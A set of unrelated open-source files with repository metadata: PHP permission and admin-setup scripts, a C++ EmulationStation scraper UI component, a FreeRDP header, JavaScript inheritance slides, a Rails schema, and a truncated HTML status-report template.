{ "content_hash": "83c9f91345668ac162c342a29d91c721", "timestamp": "", "source": "github", "line_count": 93, "max_line_length": 778, "avg_line_length": 43.043010752688176, "alnum_prop": 0.6822383212590557, "repo_name": "samwize/blog.just2us.com", "id": "b9b244291745611d68d15f4f79111b34df04f35c", "size": "4007", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "_posts/2009-07-21-tutorial-obfuscate-an-android-application.md", "mode": "33261", "license": "mit", "language": [ { "name": "CSS", "bytes": "22570" }, { "name": "HTML", "bytes": "14180" }, { "name": "JavaScript", "bytes": "53971" }, { "name": "Ruby", "bytes": "155" }, { "name": "Shell", "bytes": "74" } ], "symlink_target": "" }
<?php return [ "edit_profile" => ["_profile_editor", "_superadmin"], "profile_notification_group" => "mail notification", "admin_area" => ['_admin','_superadmin'] ];
{ "content_hash": "e7f9ba31f845ab3ba42cd00396b66967", "timestamp": "", "source": "github", "line_count": 7, "max_line_length": 57, "avg_line_length": 25.428571428571427, "alnum_prop": 0.601123595505618, "repo_name": "Palmabit-IT/authenticator", "id": "01c05526a4ae60b5982065b40370a67b1f121c88", "size": "178", "binary": false, "copies": "1", "ref": "refs/heads/1.0", "path": "src/config/permissions.php", "mode": "33261", "license": "mit", "language": [ { "name": "CSS", "bytes": "2506" }, { "name": "PHP", "bytes": "184234" } ], "symlink_target": "" }
<?php namespace w34u\ssp; require("../includeheader.php"); $session = new Protect(); $ssp = new Setup($session); $admin = new UserAdmin($session, $ssp); $admin->adminCreate(); ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <!-- Site by w34u http://www.w34u.com info@w34u.com + 44 (0)1273 201344 + 44 (0)7833 512221 --> <title>SSP Emergency admin create</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> </head> <body> <h2>SSP Emergency admin succesfully created</h2> <p>Admin User creation succesfull, Username: admin, email: admin@admin.com, password: password1000. Change all these details immediately.</p> <p><a href="<?php echo $ssp->cfg->adminDir; ?>">Go to admin</a></p> </body> </html>
{ "content_hash": "d3c2a9219a5559760eb01008676b2f3a", "timestamp": "", "source": "github", "line_count": 33, "max_line_length": 142, "avg_line_length": 26.363636363636363, "alnum_prop": 0.6839080459770115, "repo_name": "julesbl/ssp", "id": "8975af43dce321113f422f969214ffd319540a53", "size": "1781", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "sspadmin/setup/emergencyadmincreate.php", "mode": "33261", "license": "mit", "language": [ { "name": "CSS", "bytes": "4549" }, { "name": "HTML", "bytes": "533" }, { "name": "PHP", "bytes": "609004" }, { "name": "Smarty", "bytes": "64751" } ], "symlink_target": "" }
ScraperSearchComponent::ScraperSearchComponent(Window* window, SearchType type) : GuiComponent(window), mGrid(window, Eigen::Vector2i(4, 3)), mSearchType(type), mBusyAnim(window) { addChild(&mGrid); mBlockAccept = false; using namespace Eigen; // left spacer (empty component, needed for borders) mGrid.setEntry(std::make_shared<GuiComponent>(mWindow), Vector2i(0, 0), false, false, Vector2i(1, 3), GridFlags::BORDER_TOP | GridFlags::BORDER_BOTTOM); // selected result name mResultName = std::make_shared<TextComponent>(mWindow, "Result name", Font::get(FONT_SIZE_MEDIUM), 0x777777FF); // selected result thumbnail mResultThumbnail = std::make_shared<ImageComponent>(mWindow); mGrid.setEntry(mResultThumbnail, Vector2i(1, 1), false, false, Vector2i(1, 1)); // selected result desc + container mDescContainer = std::make_shared<ScrollableContainer>(mWindow); mResultDesc = std::make_shared<TextComponent>(mWindow, "Result desc", Font::get(FONT_SIZE_SMALL), 0x777777FF); mDescContainer->addChild(mResultDesc.get()); mDescContainer->setAutoScroll(true); // metadata auto font = Font::get(FONT_SIZE_SMALL); // this gets replaced in onSizeChanged() so its just a placeholder const unsigned int mdColor = 0x777777FF; const unsigned int mdLblColor = 0x666666FF; mMD_Rating = std::make_shared<RatingComponent>(mWindow); mMD_ReleaseDate = std::make_shared<DateTimeComponent>(mWindow); mMD_ReleaseDate->setColor(mdColor); mMD_Developer = std::make_shared<TextComponent>(mWindow, "", font, mdColor); mMD_Publisher = std::make_shared<TextComponent>(mWindow, "", font, mdColor); mMD_Genre = std::make_shared<TextComponent>(mWindow, "", font, mdColor); mMD_Players = std::make_shared<TextComponent>(mWindow, "", font, mdColor); mMD_Pairs.push_back(MetaDataPair(std::make_shared<TextComponent>(mWindow, "RATING:", font, mdLblColor), mMD_Rating, false)); mMD_Pairs.push_back(MetaDataPair(std::make_shared<TextComponent>(mWindow, "RELEASED:", font, mdLblColor), mMD_ReleaseDate)); mMD_Pairs.push_back(MetaDataPair(std::make_shared<TextComponent>(mWindow, "DEVELOPER:", font, mdLblColor), mMD_Developer)); mMD_Pairs.push_back(MetaDataPair(std::make_shared<TextComponent>(mWindow, "PUBLISHER:", font, mdLblColor), mMD_Publisher)); mMD_Pairs.push_back(MetaDataPair(std::make_shared<TextComponent>(mWindow, "GENRE:", font, mdLblColor), mMD_Genre)); mMD_Pairs.push_back(MetaDataPair(std::make_shared<TextComponent>(mWindow, "PLAYERS:", font, mdLblColor), mMD_Players)); mMD_Grid = std::make_shared<ComponentGrid>(mWindow, Vector2i(2, mMD_Pairs.size()*2 - 1)); unsigned int i = 0; for(auto it = mMD_Pairs.begin(); it != mMD_Pairs.end(); it++) { mMD_Grid->setEntry(it->first, Vector2i(0, i), false, true); mMD_Grid->setEntry(it->second, Vector2i(1, i), false, it->resize); i += 2; } mGrid.setEntry(mMD_Grid, Vector2i(2, 1), false, false); // result list mResultList = std::make_shared<ComponentList>(mWindow); mResultList->setCursorChangedCallback([this](CursorState state) { if(state == CURSOR_STOPPED) updateInfoPane(); }); updateViewStyle(); } void ScraperSearchComponent::onSizeChanged() { mGrid.setSize(mSize); if(mSize.x() == 0 || mSize.y() == 0) return; // column widths if(mSearchType == ALWAYS_ACCEPT_FIRST_RESULT) mGrid.setColWidthPerc(0, 0.02f); // looks better when this is higher in auto mode else mGrid.setColWidthPerc(0, 0.01f); mGrid.setColWidthPerc(1, 0.25f); mGrid.setColWidthPerc(2, 0.25f); // row heights if(mSearchType == ALWAYS_ACCEPT_FIRST_RESULT) // show name mGrid.setRowHeightPerc(0, (mResultName->getFont()->getHeight() * 1.6f) / mGrid.getSize().y()); // result name else mGrid.setRowHeightPerc(0, 0.0825f); // hide name but do padding if(mSearchType == ALWAYS_ACCEPT_FIRST_RESULT) { mGrid.setRowHeightPerc(2, 0.2f); }else{ mGrid.setRowHeightPerc(1, 0.505f); } const float boxartCellScale = 0.9f; // limit thumbnail size using setMaxHeight - we do this instead of letting mGrid call setSize because it maintains the aspect ratio // we also pad a little so it doesn't rub up against the metadata labels mResultThumbnail->setMaxSize(mGrid.getColWidth(1) * boxartCellScale, mGrid.getRowHeight(1)); // metadata resizeMetadata(); if(mSearchType != ALWAYS_ACCEPT_FIRST_RESULT) mDescContainer->setSize(mGrid.getColWidth(1)*boxartCellScale + mGrid.getColWidth(2), mResultDesc->getFont()->getHeight() * 3); else mDescContainer->setSize(mGrid.getColWidth(3)*boxartCellScale, mResultDesc->getFont()->getHeight() * 8); mResultDesc->setSize(mDescContainer->getSize().x(), 0); // make desc text wrap at edge of container mGrid.onSizeChanged(); mBusyAnim.setSize(mSize); } void ScraperSearchComponent::resizeMetadata() { mMD_Grid->setSize(mGrid.getColWidth(2), mGrid.getRowHeight(1)); if(mMD_Grid->getSize().y() > mMD_Pairs.size()) { const int fontHeight = (int)(mMD_Grid->getSize().y() / mMD_Pairs.size() * 0.8f); auto fontLbl = Font::get(fontHeight, FONT_PATH_REGULAR); auto fontComp = Font::get(fontHeight, FONT_PATH_LIGHT); // update label fonts float maxLblWidth = 0; for(auto it = mMD_Pairs.begin(); it != mMD_Pairs.end(); it++) { it->first->setFont(fontLbl); it->first->setSize(0, 0); if(it->first->getSize().x() > maxLblWidth) maxLblWidth = it->first->getSize().x() + 6; } for(unsigned int i = 0; i < mMD_Pairs.size(); i++) { mMD_Grid->setRowHeightPerc(i*2, (fontLbl->getLetterHeight() + 2) / mMD_Grid->getSize().y()); } // update component fonts mMD_ReleaseDate->setFont(fontComp); mMD_Developer->setFont(fontComp); mMD_Publisher->setFont(fontComp); mMD_Genre->setFont(fontComp); mMD_Players->setFont(fontComp); mMD_Grid->setColWidthPerc(0, maxLblWidth / mMD_Grid->getSize().x()); // rating is manually sized mMD_Rating->setSize(mMD_Grid->getColWidth(1), fontLbl->getHeight() * 0.65f); mMD_Grid->onSizeChanged(); // make result font follow label font mResultDesc->setFont(Font::get(fontHeight, FONT_PATH_REGULAR)); } } void ScraperSearchComponent::updateViewStyle() { using namespace Eigen; // unlink description and result list and result name mGrid.removeEntry(mResultName); mGrid.removeEntry(mResultDesc); mGrid.removeEntry(mResultList); // add them back depending on search type if(mSearchType == ALWAYS_ACCEPT_FIRST_RESULT) { // show name mGrid.setEntry(mResultName, Vector2i(1, 0), false, true, Vector2i(2, 1), GridFlags::BORDER_TOP); // need a border on the bottom left mGrid.setEntry(std::make_shared<GuiComponent>(mWindow), Vector2i(0, 2), false, false, Vector2i(3, 1), GridFlags::BORDER_BOTTOM); // show description on the right mGrid.setEntry(mDescContainer, Vector2i(3, 0), false, false, Vector2i(1, 3), GridFlags::BORDER_TOP | GridFlags::BORDER_BOTTOM); mResultDesc->setSize(mDescContainer->getSize().x(), 0); // make desc text wrap at edge of container }else{ // fake row where name would be mGrid.setEntry(std::make_shared<GuiComponent>(mWindow), Vector2i(1, 0), false, true, Vector2i(2, 1), GridFlags::BORDER_TOP); // show result list on the right mGrid.setEntry(mResultList, Vector2i(3, 0), true, true, Vector2i(1, 3), GridFlags::BORDER_LEFT | GridFlags::BORDER_TOP | GridFlags::BORDER_BOTTOM); // show description under image/info mGrid.setEntry(mDescContainer, Vector2i(1, 2), false, false, Vector2i(2, 1), GridFlags::BORDER_BOTTOM); mResultDesc->setSize(mDescContainer->getSize().x(), 0); // make desc text wrap at edge of container } } void ScraperSearchComponent::search(const ScraperSearchParams& params) { mResultList->clear(); mScraperResults.clear(); mThumbnailReq.reset(); mMDResolveHandle.reset(); updateInfoPane(); mLastSearch = params; mSearchHandle = startScraperSearch(params); } void ScraperSearchComponent::stop() { mThumbnailReq.reset(); mSearchHandle.reset(); mMDResolveHandle.reset(); mBlockAccept = false; } void ScraperSearchComponent::onSearchDone(const std::vector<ScraperSearchResult>& results) { mResultList->clear(); mScraperResults = results; const int end = results.size() > MAX_SCRAPER_RESULTS ? MAX_SCRAPER_RESULTS : results.size(); // at max display 5 auto font = Font::get(FONT_SIZE_MEDIUM); unsigned int color = 0x777777FF; if(end == 0) { ComponentListRow row; row.addElement(std::make_shared<TextComponent>(mWindow, "NO GAMES FOUND - SKIP", font, color), true); if(mSkipCallback) row.makeAcceptInputHandler(mSkipCallback); mResultList->addRow(row); mGrid.resetCursor(); }else{ ComponentListRow row; for(int i = 0; i < end; i++) { row.elements.clear(); row.addElement(std::make_shared<TextComponent>(mWindow, strToUpper(results.at(i).mdl.get("name")), font, color), true); row.makeAcceptInputHandler([this, i] { returnResult(mScraperResults.at(i)); }); mResultList->addRow(row); } mGrid.resetCursor(); } mBlockAccept = false; updateInfoPane(); if(mSearchType == ALWAYS_ACCEPT_FIRST_RESULT) { if(mScraperResults.size() == 0) mSkipCallback(); else returnResult(mScraperResults.front()); }else if(mSearchType == ALWAYS_ACCEPT_MATCHING_CRC) { // TODO } } void ScraperSearchComponent::onSearchError(const std::string& error) { LOG(LogInfo) << "ScraperSearchComponent search error: " << error; mWindow->pushGui(new GuiMsgBox(mWindow, strToUpper(error), "RETRY", std::bind(&ScraperSearchComponent::search, this, mLastSearch), "SKIP", mSkipCallback, "CANCEL", mCancelCallback)); } int ScraperSearchComponent::getSelectedIndex() { if(!mScraperResults.size() || mGrid.getSelectedComponent() != mResultList) return -1; return mResultList->getCursorId(); } void ScraperSearchComponent::updateInfoPane() { int i = getSelectedIndex(); if(mSearchType == ALWAYS_ACCEPT_FIRST_RESULT && mScraperResults.size()) { i = 0; } if(i != -1 && (int)mScraperResults.size() > i) { ScraperSearchResult& res = mScraperResults.at(i); mResultName->setText(strToUpper(res.mdl.get("name"))); mResultDesc->setText(strToUpper(res.mdl.get("desc"))); mDescContainer->reset(); mResultThumbnail->setImage(""); const std::string& thumb = res.thumbnailUrl.empty() ? res.imageUrl : res.thumbnailUrl; if(!thumb.empty()) { mThumbnailReq = std::unique_ptr<HttpReq>(new HttpReq(thumb)); }else{ mThumbnailReq.reset(); } // metadata mMD_Rating->setValue(strToUpper(res.mdl.get("rating"))); mMD_ReleaseDate->setValue(strToUpper(res.mdl.get("releasedate"))); mMD_Developer->setText(strToUpper(res.mdl.get("developer"))); mMD_Publisher->setText(strToUpper(res.mdl.get("publisher"))); mMD_Genre->setText(strToUpper(res.mdl.get("genre"))); mMD_Players->setText(strToUpper(res.mdl.get("players"))); mGrid.onSizeChanged(); }else{ mResultName->setText(""); mResultDesc->setText(""); mResultThumbnail->setImage(""); // metadata mMD_Rating->setValue(""); mMD_ReleaseDate->setValue(""); mMD_Developer->setText(""); mMD_Publisher->setText(""); mMD_Genre->setText(""); mMD_Players->setText(""); } } bool ScraperSearchComponent::input(InputConfig* config, Input input) { if(config->isMappedTo("a", input) && input.value != 0) { if(mBlockAccept) return true; } return GuiComponent::input(config, input); } void ScraperSearchComponent::render(const Eigen::Affine3f& parentTrans) { Eigen::Affine3f trans = parentTrans * getTransform(); renderChildren(trans); if(mBlockAccept) { Renderer::setMatrix(trans); Renderer::drawRect(0.f, 0.f, mSize.x(), mSize.y(), 0x00000011); //Renderer::drawRect((int)mResultList->getPosition().x(), (int)mResultList->getPosition().y(), // (int)mResultList->getSize().x(), (int)mResultList->getSize().y(), 0x00000011); mBusyAnim.render(trans); } } void ScraperSearchComponent::returnResult(ScraperSearchResult result) { mBlockAccept = true; // resolve metadata image before returning if(!result.imageUrl.empty()) { mMDResolveHandle = resolveMetaDataAssets(result, mLastSearch); return; } mAcceptCallback(result); } void ScraperSearchComponent::update(int deltaTime) { GuiComponent::update(deltaTime); if(mBlockAccept) { mBusyAnim.update(deltaTime); } if(mThumbnailReq && mThumbnailReq->status() != HttpReq::REQ_IN_PROGRESS) { updateThumbnail(); } if(mSearchHandle && mSearchHandle->status() != ASYNC_IN_PROGRESS) { auto status = mSearchHandle->status(); auto results = mSearchHandle->getResults(); auto statusString = mSearchHandle->getStatusString(); // we reset here because onSearchDone in auto mode can call mSkipCallback() which can call // another search() which will set our mSearchHandle to something important mSearchHandle.reset(); if(status == ASYNC_DONE) { onSearchDone(results); }else if(status == ASYNC_ERROR) { onSearchError(statusString); } } if(mMDResolveHandle && mMDResolveHandle->status() != ASYNC_IN_PROGRESS) { if(mMDResolveHandle->status() == ASYNC_DONE) { ScraperSearchResult result = mMDResolveHandle->getResult(); mMDResolveHandle.reset(); // this might end in us being deleted, depending on mAcceptCallback - so make sure this is the last thing we do in update() returnResult(result); }else if(mMDResolveHandle->status() == ASYNC_ERROR) { onSearchError(mMDResolveHandle->getStatusString()); mMDResolveHandle.reset(); } } } void ScraperSearchComponent::updateThumbnail() { if(mThumbnailReq && mThumbnailReq->status() == HttpReq::REQ_SUCCESS) { std::string content = mThumbnailReq->getContent(); mResultThumbnail->setImage(content.data(), content.length()); mGrid.onSizeChanged(); // a hack to fix the thumbnail position since its size changed }else{ LOG(LogWarning) << "thumbnail req failed: " << mThumbnailReq->getErrorMsg(); mResultThumbnail->setImage(""); } mThumbnailReq.reset(); } void ScraperSearchComponent::openInputScreen(ScraperSearchParams& params) { auto searchForFunc = [&](const std::string& name) { params.nameOverride = name; search(params); }; stop(); mWindow->pushGui(new GuiTextEditPopup(mWindow, "SEARCH FOR", // initial value is last search if there was one, otherwise the clean path name params.nameOverride.empty() ? params.game->getCleanName() : params.nameOverride, searchForFunc, false, "SEARCH")); } std::vector<HelpPrompt> ScraperSearchComponent::getHelpPrompts() { std::vector<HelpPrompt> prompts = mGrid.getHelpPrompts(); if(getSelectedIndex() != -1) prompts.push_back(HelpPrompt("a", "accept result")); return prompts; } void ScraperSearchComponent::onFocusGained() { mGrid.onFocusGained(); } void ScraperSearchComponent::onFocusLost() { mGrid.onFocusLost(); }
{ "content_hash": "e0a2797662939e14bc54063e0736449e", "timestamp": "", "source": "github", "line_count": 460, "max_line_length": 153, "avg_line_length": 31.784782608695654, "alnum_prop": 0.7178715546132276, "repo_name": "Herdinger/EmulationStation", "id": "0aec83877afa8e694857eb36a86bfc8decac33b6", "size": "15101", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "es-app/src/components/ScraperSearchComponent.cpp", "mode": "33188", "license": "mit", "language": [ { "name": "C", "bytes": "567" }, { "name": "C++", "bytes": "3595264" }, { "name": "CMake", "bytes": "35668" }, { "name": "Shell", "bytes": "1082" } ], "symlink_target": "" }
#ifndef FREERDP_CHANNEL_TSMF_CLIENT_MAIN_H #define FREERDP_CHANNEL_TSMF_CLIENT_MAIN_H #include <freerdp/freerdp.h> typedef struct { IWTSListenerCallback iface; IWTSPlugin* plugin; IWTSVirtualChannelManager* channel_mgr; } TSMF_LISTENER_CALLBACK; typedef struct { IWTSVirtualChannelCallback iface; IWTSPlugin* plugin; IWTSVirtualChannelManager* channel_mgr; IWTSVirtualChannel* channel; BYTE presentation_id[GUID_SIZE]; UINT32 stream_id; } TSMF_CHANNEL_CALLBACK; typedef struct { IWTSPlugin iface; IWTSListener* listener; TSMF_LISTENER_CALLBACK* listener_callback; const char* decoder_name; const char* audio_name; const char* audio_device; rdpContext* rdpcontext; } TSMF_PLUGIN; BOOL tsmf_send_eos_response(IWTSVirtualChannelCallback* pChannelCallback, UINT32 message_id); BOOL tsmf_playback_ack(IWTSVirtualChannelCallback* pChannelCallback, UINT32 message_id, UINT64 duration, UINT32 data_size); #endif /* FREERDP_CHANNEL_TSMF_CLIENT_MAIN_H */
{ "content_hash": "2c925f3de32af2a1d21ff3e1c2fe6d16", "timestamp": "", "source": "github", "line_count": 46, "max_line_length": 93, "avg_line_length": 21.695652173913043, "alnum_prop": 0.7715430861723447, "repo_name": "DavBfr/FreeRDP", "id": "fb783c180eb0f5e42ad81e8fb2953a0f75f45e50", "size": "1809", "binary": false, "copies": "6", "ref": "refs/heads/master", "path": "channels/tsmf/client/tsmf_main.h", "mode": "33188", "license": "apache-2.0", "language": [ { "name": "C", "bytes": "15256510" }, { "name": "C#", "bytes": "6365" }, { "name": "C++", "bytes": "139078" }, { "name": "CMake", "bytes": "635964" }, { "name": "CSS", "bytes": "5696" }, { "name": "HTML", "bytes": "99139" }, { "name": "Java", "bytes": "371352" }, { "name": "Lua", "bytes": "27390" }, { "name": "Makefile", "bytes": "1746" }, { "name": "Objective-C", "bytes": "517001" }, { "name": "Perl", "bytes": "8044" }, { "name": "Python", "bytes": "56470" }, { "name": "Rich Text Format", "bytes": "937" }, { "name": "Roff", "bytes": "12141" }, { "name": "Shell", "bytes": "33001" } ], "symlink_target": "" }
- - - ## Define a "Class" Define a "class" using a constructor function ```js function Shape (x, y) { this.x = x; this.y = y; } ``` - - - ## Define a "Class" Define the instance methods augmenting the constructor `prototype` ```js function Shape (x, y) { this.x = x; this.y = y; } ``` ``` Shape.prototype.move = function (x, y) { this.x += x; this.y += y; }; Shape.prototype.info = function () { console.log('x: ', this.x, ', y: ', this.y); }; ``` - - - ## Define a "Class" Instantiate the defined "class" using the operator `new` ```js var shape = new Shape(0, 0); shape instanceof Shape; //true shape.move(3, 4); shape.info(); //x: 3, y: 4 ``` - - - ## Define a sub-"Class" Define a sub-"Class" using a constructor function calling the "super" constructor and linking the prototype chain ```js function Rectangle (x, y, width, height) { Shape.call(this, x, y); // call "super" constructor this.width = width; this.height = height; } ``` ```js var rect = new Rectangle(0, 0, 3, 4); rect.info(); //TypeError: undefined is not a function ``` ```js Rectangle.prototype = Object.create(Shape.prototype); Rectangle.prototype.constructor = Rectangle; ``` ```js var rect = new Rectangle(0, 0, 3, 4); rect.info(); //x: 0, y: 0 ``` - - - ## Define a sub-"Class" Define the instance methods augmenting the constructor `prototype` ```js Rectangle.prototype.area = function () { return this.width * this.height; }; //overriding Rectangle.prototype.info = function () { Shape.prototype.info.call(this); console.log('width: ', this.width, ', height: ', this.height); } ``` - - - ## Define a sub-"Class" Instantiate the defined sub-"class" using the operator `new` ```js var rect = new Rectangle(0, 0, 4, 3); rect instanceof Rectangle; //true rect instanceof Shape; //true rect.move(1, 2); rect.area(); //12 rect.info(); //x: 1, y: 2 width: 4, height: 3 var shape = new Shape(); shape.area(); //TypeError: undefined is not a function shape instanceof Shape; //true shape instanceof Rectangle; //false ``` - - - ## `Object.create` ```js Object.create = function (obj) { function F () {} F.prototype = obj; return new F(); }; ```
{ "content_hash": "501cab4169b5214eb5e2a808d951956d", "timestamp": "", "source": "github", "line_count": 134, "max_line_length": 68, "avg_line_length": 16.37313432835821, "alnum_prop": 0.6276207839562443, "repo_name": "cvdlab/javascript-crumbs-slides", "id": "4a41f3bd5d6563d0de4a00b8cb04ee92568471c7", "size": "2210", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "chapters/inheritance/Readme.md", "mode": "33188", "license": "mit", "language": [ { "name": "CSS", "bytes": "1518" }, { "name": "HTML", "bytes": "195156" }, { "name": "JavaScript", "bytes": "1738" } ], "symlink_target": "" }
ActiveRecord::Schema.define(:version => 20090202223821) do create_table "audits", :force => true do |t| t.integer "auditable_id" t.string "auditable_type" t.integer "user_id" t.string "user_type" t.string "username" t.string "action" t.text "changes" t.integer "version", :default => 0 t.datetime "created_at" end add_index "audits", ["auditable_id", "auditable_type"], :name => "auditable_index" add_index "audits", ["created_at"], :name => "index_audits_on_created_at" add_index "audits", ["user_id", "user_type"], :name => "user_index" create_table "gcps", :force => true do |t| t.integer "map_id" t.float "x" t.float "y" t.decimal "lat", :precision => 15, :scale => 10 t.decimal "lon", :precision => 15, :scale => 10 t.datetime "created_at" t.datetime "updated_at" end create_table "maps", :force => true do |t| t.string "title" t.text "description" t.string "filename" t.integer "width" t.integer "height" t.integer "status" t.integer "mask_status" t.datetime "created_at" t.datetime "updated_at" t.string "upload_file_name" t.string "upload_content_type" t.integer "upload_file_size" t.datetime "upload_file_updated_at" t.string "bbox" t.string "publisher" t.string "authors" t.string "scale" t.datetime "published_date" t.datetime "reprint_date" t.integer "owner_id" t.boolean "public", :default => true end create_table "my_maps", :force => true do |t| t.integer "map_id" t.integer "user_id" t.datetime "created_at" t.datetime "updated_at" end add_index "my_maps", ["map_id", "user_id"], :name => "index_my_maps_on_map_id_and_user_id", :unique => true add_index "my_maps", ["map_id"], :name => "index_my_maps_on_map_id" create_table "permissions", :force => true do |t| t.integer "role_id", :null => false t.integer "user_id", :null => false t.datetime "created_at" t.datetime "updated_at" end create_table "roles", :force => true do |t| t.string "name" t.integer "updated_by" t.datetime "created_at" t.datetime "updated_at" end create_table "users", :force => true do |t| t.string "login" t.string "email" t.string "crypted_password", :limit => 40 t.string "salt", :limit => 40 t.datetime "created_at" t.datetime "updated_at" t.string "remember_token" t.datetime "remember_token_expires_at" t.string "activation_code", :limit => 40 t.datetime "activated_at" t.string "password_reset_code", :limit => 40 t.boolean "enabled", :default => true t.integer "updated_by" end end
{ "content_hash": "69fc6f3530ad202c8f7453964c8e1603", "timestamp": "", "source": "github", "line_count": 93, "max_line_length": 109, "avg_line_length": 30.881720430107528, "alnum_prop": 0.5755571030640668, "repo_name": "kashif/mapwarper", "id": "7a46b738bfd2c93690b17d43d3fdf6dc13b96502", "size": "3588", "binary": false, "copies": "1", "ref": "refs/heads/master", "path": "db/schema.rb", "mode": "33188", "license": "mit", "language": [], "symlink_target": "" }
<!DOCTYPE html> <html xmlns:e="http://software.in2p3.fr/lavoisier/entries.xsd" xmlns:tpl="http://software.in2p3.fr/lavoisier/template.xsd" tpl:extends="/lavoisier/_default_?accept=html"> <head> <meta charset="UTF-8" /> <title>STATUS REPORT</title> <meta content='width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no' name='viewport' /> </head> <body> <!-- Right side column. Contains the navbar and content of the page --> <div id="wrapper"> <aside class="main-sidebar sidebar-offcanvas" > <section class="sidebar"> <ul class="sidebar-menu"> <li class="hidden" style="display: block;height:100px;"><a href="#"><span> </span></a></li> <li class="hidden"><a href="#"><span> </span></a></li> <li class="hidden"><a href="#"><span> </span></a></li> <li tpl:foreach="root/group" style="font-size: lighter;background-color: #C7d2e1"> <a tpl:if="not(preceding-sibling::group/@group=@group)" href="/lavoisier/status_report-site?ngi={{@group}}&amp;start_date={{ancestor::root/@start_time}}&amp;end_date={{ancestor::root/@end_time}}&amp;report={{ancestor::root/@report}}&amp;accept=html"> <span >-- {{@group}} --</span> </a> </li> </ul> </section> </aside> <div class="content-wrapper"> <!-- Content Header (Page header) --> <!-- Main content --> <section class="content" id="content" tpl:if="count(/root/group/status)&gt;0"> <section class="content-header" id="content-header"> <h1> ARGO Reports <small>Status Report</small> </h1> </section> <div style="display: none" tpl:if="/root/@view='status_report-sf'" id="local_groups"> <div tpl:foreach="/root/group/status" > {{ancestor::group/@name}} - {{ancestor::group/@group}},{{@value}}_{{position()}},{{@timestamp}},{{@end_time}},{{@color}}</div> </div> <div style="display: none" tpl:else="" id="local_groups"> <div tpl:foreach="/root/group/status" > {{ancestor::group/@name}},{{@value}}_{{position()}},{{@timestamp}},{{@end_time}},{{@color}}</div> </div> <div id="local_links" tpl:if="/root/@view='status_report-sf'"> <ol class="breadcrumb"> <li><a href="/lavoisier/status_report-site?start_date={{root/@start_time}}&amp;end_date={{root/@end_time}}&amp;report={{root/@report}}&amp;accept=html">EGI</a></li> <li class="active"><a tpl:if="root/@ngi!='all'" href="/lavoisier/status_report-site?start_date={{root/@start_time}}&amp;end_date={{root/@end_time}}&amp;report={{root/@report}}&amp;ngi={{root/@ngi}}&amp;report={{ancestor::root/@report}}&amp;accept=html">{{root/@ngi}}</a></li> </ol> <div style="display: none" tpl:foreach="/root/group/status">/lavoisier/{{ancestor::root/@view}}?site={{ancestor::group/@name}}&amp;start_date={{ancestor::root/@start_time}}&amp;end_date={{ancestor::root/@end_time}}&amp;report={{ancestor::root/@report}}&amp;accept=html</div> </div> <div id="local_links" tpl:if="/root/@view='status_report-endpoints'" > <ol class="breadcrumb"> <li><a href="/lavoisier/status_report-site?start_date={{root/@start_time}}&amp;end_date={{root/@end_time}}&amp;report={{root/@report}}&amp;accept=html">EGI</a></li> <li><a href="/lavoisier/status_report-site?start_date={{root/@start_time}}&amp;end_date={{root/@end_time}}&amp;ngi={{root/@ngi}}&amp;report={{root/@report}}&amp;accept=html">{{root/@ngi}}</a></li> <li class="active">{{/root/group/@group}}</li> </ol> <div style="display: none" tpl:foreach="/root/group/status" >/lavoisier/{{ancestor::root/@view}}?site={{ancestor::group/@group}}&amp;service={{ancestor::group/@name}}&amp;start_date={{ancestor::root/@start_time}}&amp;end_date={{ancestor::root/@end_time}}&amp;report={{ancestor::root/@report}}&amp;accept=html</div> </div> <div id="local_links" tpl:if="/root/@view='status_report-metrics'" > <ol class="breadcrumb"> <li><a href="/lavoisier/status_report-site?start_date={{root/@start_time}}&amp;end_date={{root/@end_time}}&amp;accept=html">EGI</a></li> <li><a tpl:if="root/@ngi" href="/lavoisier/status_report-site?start_date={{root/@start_time}}&amp;end_date={{root/@end_time}}&amp;ngi={{root/@ngi}}&amp;report={{root/@report}}&amp;accept=html">{{root/@ngi}}</a></li> <li><a href="/lavoisier/status_report-sf?site={{/root/group/@site}}&amp;start_date={{root/@start_time}}&amp;end_date={{root/@end_time}}&amp;report={{root/@report}}&amp;accept=html">{{/root/group/@site}}</a></li> <li class="active">{{/root/group/@group}}</li> </ol> <div style="display: none" tpl:foreach="/root/group/status" >/lavoisier/{{ancestor::root/@view}}?site={{ancestor::group/@site}}&amp;service={{ancestor::group/@group}}&amp;endpoint={{ancestor::group/@name}}&amp;start_date={{ancestor::root/@start_time}}&amp;end_date={{ancestor::root/@end_time}}&amp;report={{ancestor::root/@report}}&amp;overview=mod&amp;accept=html</div> </div> <div id="local_links" tpl:if="/root/@view='metric-output' and /root/@overview='mod'"> <ol class="breadcrumb"> <li><a href="/lavoisier/status_report-site?start_date={{root/@start_time}}&amp;end_date={{root/@end_time}}&amp;report={{root/@report}}&amp;accept=html">EGI</a></li> <li><a tpl:if="root/@ngi" href="/lavoisier/status_report-site?start_date={{root/@start_time}}&amp;end_date={{root/@end_time}}&amp;ngi={{root/@ngi}}&amp;report={{root/@report}}&amp;accept=html">{{root/@ngi}}</a></li> <li><a href="/lavoisier/status_report-sf?site={{/root/group/@site}}&amp;start_date={{root/@start_time}}&amp;end_date={{root/@end_time}}&amp;report={{root/@report}}&amp;accept=html">{{/root/group/@site}}</a></li> <li><a href="/lavoisier/status_report-endpoints?site={{/root/group/@site}}&amp;service={{/root/group/@service}}&amp;start_date={{root/@start_time}}&amp;report={{root/@report}}&amp;end_date={{root/@end_time}}&amp;accept=html">{{/root/group/@service}}</a></li> <li class="active">{{/root/group/@endpoint}}</li> </ol> <div style="display: none" tpl:foreach="/root/group/status" >/lavoisier/status_report-metrics?site={{ancestor::group/@site}}&amp;service={{ancestor::group/@service}}&amp;endpoint={{ancestor::group/@group}}&amp;start_date={{@timestamp}}&amp;end_date={{@end_time}}&amp;report={{ancestor::root/@report}}&amp;overview=details&amp;accept=html</div> </div> <div id="local_links" tpl:if="/root/@view='metric-output' and /root/@overview!='mod'"> <ol class="breadcrumb"> <li><a href="/lavoisier/status_report-site?start_date={{root/@start_time}}&amp;end_date={{root/@end_time}}&amp;report={{root/@report}}&amp;accept=html">EGI</a></li> <li><a 